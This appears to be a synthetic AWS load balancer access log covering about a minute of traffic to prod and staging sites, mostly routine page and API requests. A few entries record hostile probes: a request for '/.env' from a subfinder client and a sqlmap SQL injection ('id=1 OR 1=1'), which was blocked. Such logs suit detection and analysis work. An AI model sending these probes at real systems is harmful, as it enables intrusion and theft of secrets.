"Root=1-6723b7d2-11f1929d4c17465d86c98960" "staging-alb.example.com" "-" 7 2024-11-01T00:01:06.196130Z "forward" "-" "-" "17.36.80.136:80" "200" "-" "-" -https 2024-11-01T00:01:06.805981Z prod-web-alb 91.80.179.160:19004 10.0.29.239:443 0.070885 0.076462 0.036353 200 200 678 2208 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7d2-c4ce43a68a0d427eada63796" "prod-web-alb.example.com" "-" 5 2024-11-01T00:01:06.805981Z "forward" "-" "-" "10.0.29.239:443" "200" "-" "-" -https 2024-11-01T00:01:07.440209Z prod-api-alb 185.181.2.252:11327 10.0.149.59:443 0.099595 0.009463 0.081914 301 301 381 6814 "POST /.env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7d3-44f6eca30b5648d28fd5a526" "-" "-" 5 2024-11-01T00:01:07.440209Z "forward" "-" "-" "10.0.149.59:443" "301" "-" "-" -https 2024-11-01T00:01:08.912942Z prod-api-alb 107.164.184.95:31483 10.0.34.125:443 0.070689 0.204336 0.035605 404 404 892 6425 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7d4-11db8bfc56d74730bb9813d0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:01:08.912942Z "forward" "-" "-" "10.0.34.125:443" "404" "-" "-" -https 2024-11-01T00:01:09.963283Z prod-web-alb 112.103.15.194:51169 10.0.9.235:443 0.081627 0.340064 0.032162 302 302 696 5295 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7d5-79ef15374d3540efb3c2c53b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:01:09.963283Z "forward" "-" "-" "10.0.9.235:443" "302" "-" "-" -https 2024-11-01T00:01:10.347373Z staging-alb 120.98.238.48:13501 160.118.183.103:80 0.101718 0.584204 0.147437 404 404 268 487 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7d6-fe14a0d8196445828bfc4b48" "staging-alb.example.com" "-" 5 2024-11-01T00:01:10.347373Z "forward" "-" "-" "160.118.183.103:80" "404" "-" "-" -https 2024-11-01T00:01:11.682789Z prod-web-alb 243.180.74.69:27568 10.0.26.17:443 0.023890 0.225259 0.073347 302 302 466 4144 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7d7-a731039eb4584f4090e92e65" "prod-web-alb.example.com" "-" 8 2024-11-01T00:01:11.682789Z "forward" "-" "-" "10.0.26.17:443" "302" "-" "-" -https 2024-11-01T00:01:12.574509Z staging-alb 136.111.137.20:56815 10.109.139.78:80 0.003614 0.493197 0.002774 200 200 949 12447 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7d8-aad3ff80d5bc40ab899587fb" "staging-alb.example.com" "-" 1 2024-11-01T00:01:12.574509Z "forward" "-" "-" "10.109.139.78:80" "200" "-" "-" -https 2024-11-01T00:01:14.534454Z prod-web-alb 93.79.106.151:39502 10.0.123.42:443 0.006318 0.083029 0.068773 302 302 243 10269 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7da-8cdfa46c02c24fab86e6ea05" "prod-web-alb.example.com" "-" 8 2024-11-01T00:01:14.534454Z "forward" "-" "-" "10.0.123.42:443" "302" "-" "-" -https 2024-11-01T00:01:15.086465Z prod-api-alb 239.228.188.200:10550 10.0.251.167:443 0.024431 0.128431 0.053200 200 200 852 10750 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7db-f17d69dce86d44edb2a3b212" "prod-api-alb.example.com" "-" 7 2024-11-01T00:01:15.086465Z "forward" "-" "-" "10.0.251.167:443" "200" "-" "-" -https 2024-11-01T00:01:16.059120Z staging-alb 231.82.161.232:15747 24.189.215.184:8080 0.049920 0.691292 0.043810 302 302 757 8476 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7dc-ff6506035dfe4914b2f7890e" "staging-alb.example.com" "-" 6 2024-11-01T00:01:16.059120Z "forward" "-" "-" "24.189.215.184:8080" "302" "-" "-" -https 2024-11-01T00:01:16.516418Z prod-api-alb 169.107.16.130:63312 10.0.241.137:443 0.062159 0.442662 0.036409 200 200 932 9531 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7dc-7bbb06bf3c0d422990df07f4" "prod-api-alb.example.com" "-" 3 2024-11-01T00:01:16.516418Z "forward" "-" "-" "10.0.241.137:443" "200" "-" "-" -https 2024-11-01T00:01:16.742588Z staging-alb 24.237.2.103:13131 244.93.208.206:8080 0.114812 0.041141 0.136117 200 200 867 14217 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7dc-15be2c4de3c04f998a0a42e4" "staging-alb.example.com" "-" 7 2024-11-01T00:01:16.742588Z "forward" "-" "-" "244.93.208.206:8080" "200" "-" "-" -http 2024-11-01T00:01:17.185453Z staging-alb 12.8.193.245:37889 251.185.3.32:443 0.118941 0.156405 0.079379 200 200 794 14237 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7dd-90a9151546f545aeb8925ed0" "staging-alb.example.com" "-" 9 2024-11-01T00:01:17.185453Z "forward" "-" "-" "251.185.3.32:443" "200" "-" "-" -https 2024-11-01T00:01:18.320777Z prod-web-alb 98.183.71.207:36822 10.0.120.83:443 0.017905 0.449076 0.054034 404 404 297 6471 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7de-d9da791bf1ba44a6868888bb" "prod-web-alb.example.com" "-" 10 2024-11-01T00:01:18.320777Z "forward" "-" "-" "10.0.120.83:443" "404" "-" "-" -https 2024-11-01T00:01:19.957193Z prod-web-alb 159.228.192.100:57166 10.0.199.221:443 0.001853 0.473414 0.063600 200 200 127 1712 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7df-4476e59b8b8b49e0b5187ff1" "prod-web-alb.example.com" "-" 1 2024-11-01T00:01:19.957193Z "forward" "-" "-" "10.0.199.221:443" "200" "-" "-" -https 2024-11-01T00:01:21.021008Z prod-api-alb 111.130.107.153:24664 10.0.129.252:443 0.014330 0.393064 0.021006 200 200 407 11395 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7e1-fae3145e30af4207981a69eb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:01:21.021008Z "forward" "-" "-" "10.0.129.252:443" "200" "-" "-" -https 2024-11-01T00:01:21.620089Z prod-api-alb 0.137.205.38:14873 10.0.98.48:443 0.010388 0.312544 0.005933 200 200 763 396 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e1-36f7f692d8784747b810e0e2" "prod-api-alb.example.com" "-" 7 2024-11-01T00:01:21.620089Z "forward" "-" "-" "10.0.98.48:443" "200" "-" "-" -https 2024-11-01T00:01:21.728023Z prod-api-alb 168.206.222.227:55672 10.0.235.100:443 0.023906 0.363577 0.078329 200 200 796 7107 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e1-38d3a5d651be4097b8249206" "prod-api-alb.example.com" "-" 1 2024-11-01T00:01:21.728023Z "forward" "-" "-" "10.0.235.100:443" "200" "-" "-" -https 2024-11-01T00:01:22.135521Z staging-alb 64.6.44.69:29957 158.54.83.161:8080 0.022720 0.615320 0.074240 200 200 825 14237 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7e2-8f18ccfe3e324254b3c83f76" "staging-alb.example.com" "-" 6 2024-11-01T00:01:22.135521Z "forward" "-" "-" "158.54.83.161:8080" "200" "-" "-" -https 2024-11-01T00:01:22.433667Z staging-alb 207.113.152.5:31958 202.94.117.164:80 0.073736 0.145003 0.134940 200 200 800 8388 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7e2-883e872035ae403e92969b62" "staging-alb.example.com" "-" 9 2024-11-01T00:01:22.433667Z "forward" "-" "-" "202.94.117.164:80" "200" "-" "-" -https 2024-11-01T00:01:23.953156Z prod-api-alb 222.154.147.175:23499 10.0.164.49:443 0.071416 0.200602 0.066052 301 301 61 359 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e3-de40fff1f4ea4b0ba27f9cd5" "prod-api-alb.example.com" "-" 1 2024-11-01T00:01:23.953156Z "forward" "-" "-" "10.0.164.49:443" "301" "-" "-" -https 2024-11-01T00:01:25.695238Z prod-web-alb 168.18.121.21:44900 10.0.16.110:443 0.021741 0.089840 0.047573 302 302 767 7474 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7e5-56a9f3f1da5f45f8b5b3af2f" "prod-web-alb.example.com" "-" 7 2024-11-01T00:01:25.695238Z "forward" "-" "-" "10.0.16.110:443" "302" "-" "-" -https 2024-11-01T00:01:26.101545Z prod-web-alb 72.128.65.153:28317 10.0.186.113:443 0.025911 0.221556 0.007234 404 404 912 14314 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7e6-44ff9cffa7b840c7a67da48e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:01:26.101545Z "forward" "-" "-" "10.0.186.113:443" "404" "-" "-" -http 2024-11-01T00:01:26.380519Z staging-alb 163.145.158.87:54825 15.199.132.129:8080 0.005523 0.058043 0.006978 404 404 503 2492 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7e6-274eade6e8574a09935dbda5" "staging-alb.example.com" "-" 3 2024-11-01T00:01:26.380519Z "forward" "-" "-" "15.199.132.129:8080" "404" "-" "-" -https 2024-11-01T00:01:28.214023Z staging-alb 82.239.203.183:19991 251.18.13.163:80 0.009876 0.206238 0.064983 301 301 489 11568 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7e8-d4d7cfa799d643d88ea1a93c" "staging-alb.example.com" "-" 6 2024-11-01T00:01:28.214023Z "forward" "-" "-" "251.18.13.163:80" "301" "-" "-" -https 2024-11-01T00:01:29.174594Z prod-api-alb 87.3.208.5:28987 10.0.190.46:443 0.046149 0.344764 0.006010 200 200 806 6016 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e9-87fc113d55494178b81a0247" "prod-api-alb.example.com" "-" 6 2024-11-01T00:01:29.174594Z "forward" "-" "-" "10.0.190.46:443" "200" "-" "-" -https 2024-11-01T00:01:29.757271Z staging-alb 34.77.69.176:13639 227.105.244.214:80 0.076130 0.700739 0.051921 200 200 846 12621 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7e9-b3955bab62b3445994cdc3ab" "staging-alb.example.com" "-" 10 2024-11-01T00:01:29.757271Z "forward" "-" "-" "227.105.244.214:80" "200" "-" "-" -https 2024-11-01T00:01:30.757643Z staging-alb 115.44.42.244:34952 204.164.2.179:443 0.015286 0.662100 0.017126 301 301 528 13442 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7ea-dc15f51887e649cd8ff3632a" "staging-alb.example.com" "-" 1 2024-11-01T00:01:30.757643Z "forward" "-" "-" "204.164.2.179:443" "301" "-" "-" -https 2024-11-01T00:01:32.080153Z prod-web-alb 156.216.187.8:24092 10.0.31.166:443 0.080617 0.114824 0.011444 200 200 431 3679 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7ec-d70bacf75b0640f2b5de30dd" "prod-web-alb.example.com" "-" 8 2024-11-01T00:01:32.080153Z "forward" "-" "-" "10.0.31.166:443" "200" "-" "-" -https 2024-11-01T00:01:34.049685Z prod-api-alb 233.156.32.109:13821 10.0.239.5:443 0.052634 0.099025 0.053676 200 200 545 3481 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ee-36c3e96b55d14b8591b1ef50" "prod-api-alb.example.com" "-" 3 2024-11-01T00:01:34.049685Z "forward" "-" "-" "10.0.239.5:443" "200" "-" "-" -https 2024-11-01T00:01:34.193136Z prod-web-alb 88.83.146.58:36301 10.0.54.7:443 0.010530 0.260617 0.071637 404 404 934 3533 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7ee-21aa840a0f734cb4b5b9d82b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:01:34.193136Z "forward" "-" "-" "10.0.54.7:443" "404" "-" "-" -https 2024-11-01T00:01:35.637184Z prod-api-alb 248.226.214.114:19657 10.0.65.52:443 0.082586 0.270212 0.006175 200 200 357 10275 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7ef-fe7f315dcaab4f6286ea0015" "prod-api-alb.example.com" "-" 9 2024-11-01T00:01:35.637184Z "forward" "-" "-" "10.0.65.52:443" "200" "-" "-" -https 2024-11-01T00:01:37.125068Z staging-alb 102.194.224.238:52697 20.46.18.120:80 0.138221 0.473239 0.017362 200 200 247 11593 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7f1-cd4ae06b67c146f8884bdbf8" "staging-alb.example.com" "-" 10 2024-11-01T00:01:37.125068Z "forward" "-" "-" "20.46.18.120:80" "200" "-" "-" -https 2024-11-01T00:01:38.185430Z prod-web-alb 66.8.16.212:33441 10.0.142.208:443 0.006351 0.323391 0.042046 200 200 858 3632 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7f2-3fa8942035c54d01b3e5dcd5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:01:38.185430Z "forward" "-" "-" "10.0.142.208:443" "200" "-" "-" -http 2024-11-01T00:01:39.665822Z staging-alb 201.142.73.136:26195 207.33.233.229:80 0.024260 0.300486 0.146860 301 301 892 5529 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7f3-f18452671ff74e2b83a0b929" "staging-alb.example.com" "-" 6 2024-11-01T00:01:39.665822Z "forward" "-" "-" "207.33.233.229:80" "301" "-" "-" -https 2024-11-01T00:01:40.743108Z prod-api-alb 228.224.83.3:38237 10.0.16.154:443 0.079229 0.215605 0.098937 200 200 692 11301 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7f4-ddb70fce3ca24cb3961222ed" "prod-api-alb.example.com" "-" 8 2024-11-01T00:01:40.743108Z "forward" "-" "-" "10.0.16.154:443" "200" "-" "-" -https 2024-11-01T00:01:42.123212Z staging-alb 218.62.139.43:27307 184.138.97.222:443 0.133821 0.049534 0.110768 404 404 695 3854 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7f6-2d38f82ab9e549219d54564a" "staging-alb.example.com" "-" 4 2024-11-01T00:01:42.123212Z "forward" "-" "-" "184.138.97.222:443" "404" "-" "-" -https 2024-11-01T00:01:43.494971Z prod-web-alb 234.235.142.18:41832 10.0.60.161:443 0.095387 0.395132 0.041626 200 200 39 5984 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7f7-2706e9b174444ef0be46e8d3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:01:43.494971Z "forward" "-" "-" "10.0.60.161:443" "200" "-" "-" -https 2024-11-01T00:01:45.359128Z prod-api-alb 174.48.74.233:22400 10.0.216.84:443 0.037409 0.304279 0.099830 200 200 659 10653 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7f9-4173be0eb48e46b78b3ce996" "prod-api-alb.example.com" "-" 8 2024-11-01T00:01:45.359128Z "forward" "-" "-" "10.0.216.84:443" "200" "-" "-" -https 2024-11-01T00:01:47.055845Z prod-web-alb 80.149.41.58:32587 10.0.208.90:443 0.081112 0.356196 0.075840 302 302 406 210 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7fb-1c56a78418854cac95e4771e" "prod-web-alb.example.com" "-" 5 2024-11-01T00:01:47.055845Z "forward" "-" "-" "10.0.208.90:443" "302" "-" "-" -https 2024-11-01T00:01:47.237639Z prod-web-alb 120.126.103.30:27807 10.0.213.185:443 0.092233 0.015254 0.054727 404 404 416 14225 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7fb-984315f116c74e8397b7c7d7" "prod-web-alb.example.com" "-" 0 2024-11-01T00:01:47.237639Z "forward" "-" "-" "10.0.213.185:443" "404" "-" "-" -https 2024-11-01T00:01:48.307630Z staging-alb 133.11.76.87:47474 233.141.86.254:8080 0.079626 0.433994 0.142509 200 200 5 4600 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7fc-da53ccc292734c9c8d920a73" "staging-alb.example.com" "-" 3 2024-11-01T00:01:48.307630Z "forward" "-" "-" "233.141.86.254:8080" "200" "-" "-" -https 2024-11-01T00:01:49.004378Z staging-alb 118.119.230.150:14453 246.233.182.32:443 0.005452 0.527230 0.112398 404 404 755 4457 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7fd-e790502a53404106bb5b4fb0" "-" "-" 3 2024-11-01T00:01:49.004378Z "forward" "-" "-" "246.233.182.32:443" "404" "-" "-" -https 2024-11-01T00:01:50.756845Z prod-web-alb 185.181.118.169:51836 10.0.104.66:443 0.058661 0.457214 0.052897 403 403 689 14905 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7fe-17553a9e16544a1e825a3884" "-" "-" 1 2024-11-01T00:01:50.756845Z "forward" "-" "-" "10.0.104.66:443" "403" "-" "-" -https 2024-11-01T00:01:52.442501Z prod-web-alb 94.21.61.54:56041 10.0.50.144:443 0.005391 0.354855 0.074968 302 302 519 13329 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b800-634e6248f73748298a3a2a08" "prod-web-alb.example.com" "-" 0 2024-11-01T00:01:52.442501Z "forward" "-" "-" "10.0.50.144:443" "302" "-" "-" -https 2024-11-01T00:01:52.562953Z prod-api-alb 188.154.181.143:42304 10.0.135.194:443 0.014781 0.340214 0.058899 200 200 219 730 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b800-16b42485c32e465182e28741" "prod-api-alb.example.com" "-" 7 2024-11-01T00:01:52.562953Z "forward" "-" "-" "10.0.135.194:443" "200" "-" "-" -https 2024-11-01T00:01:53.389893Z staging-alb 154.236.181.182:35381 195.168.156.31:80 0.047141 0.693222 0.121089 200 200 234 14178 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b801-5bc0566688444ab1b5c5d6f1" "staging-alb.example.com" "-" 6 2024-11-01T00:01:53.389893Z "forward" "-" "-" "195.168.156.31:80" "200" "-" "-" -https 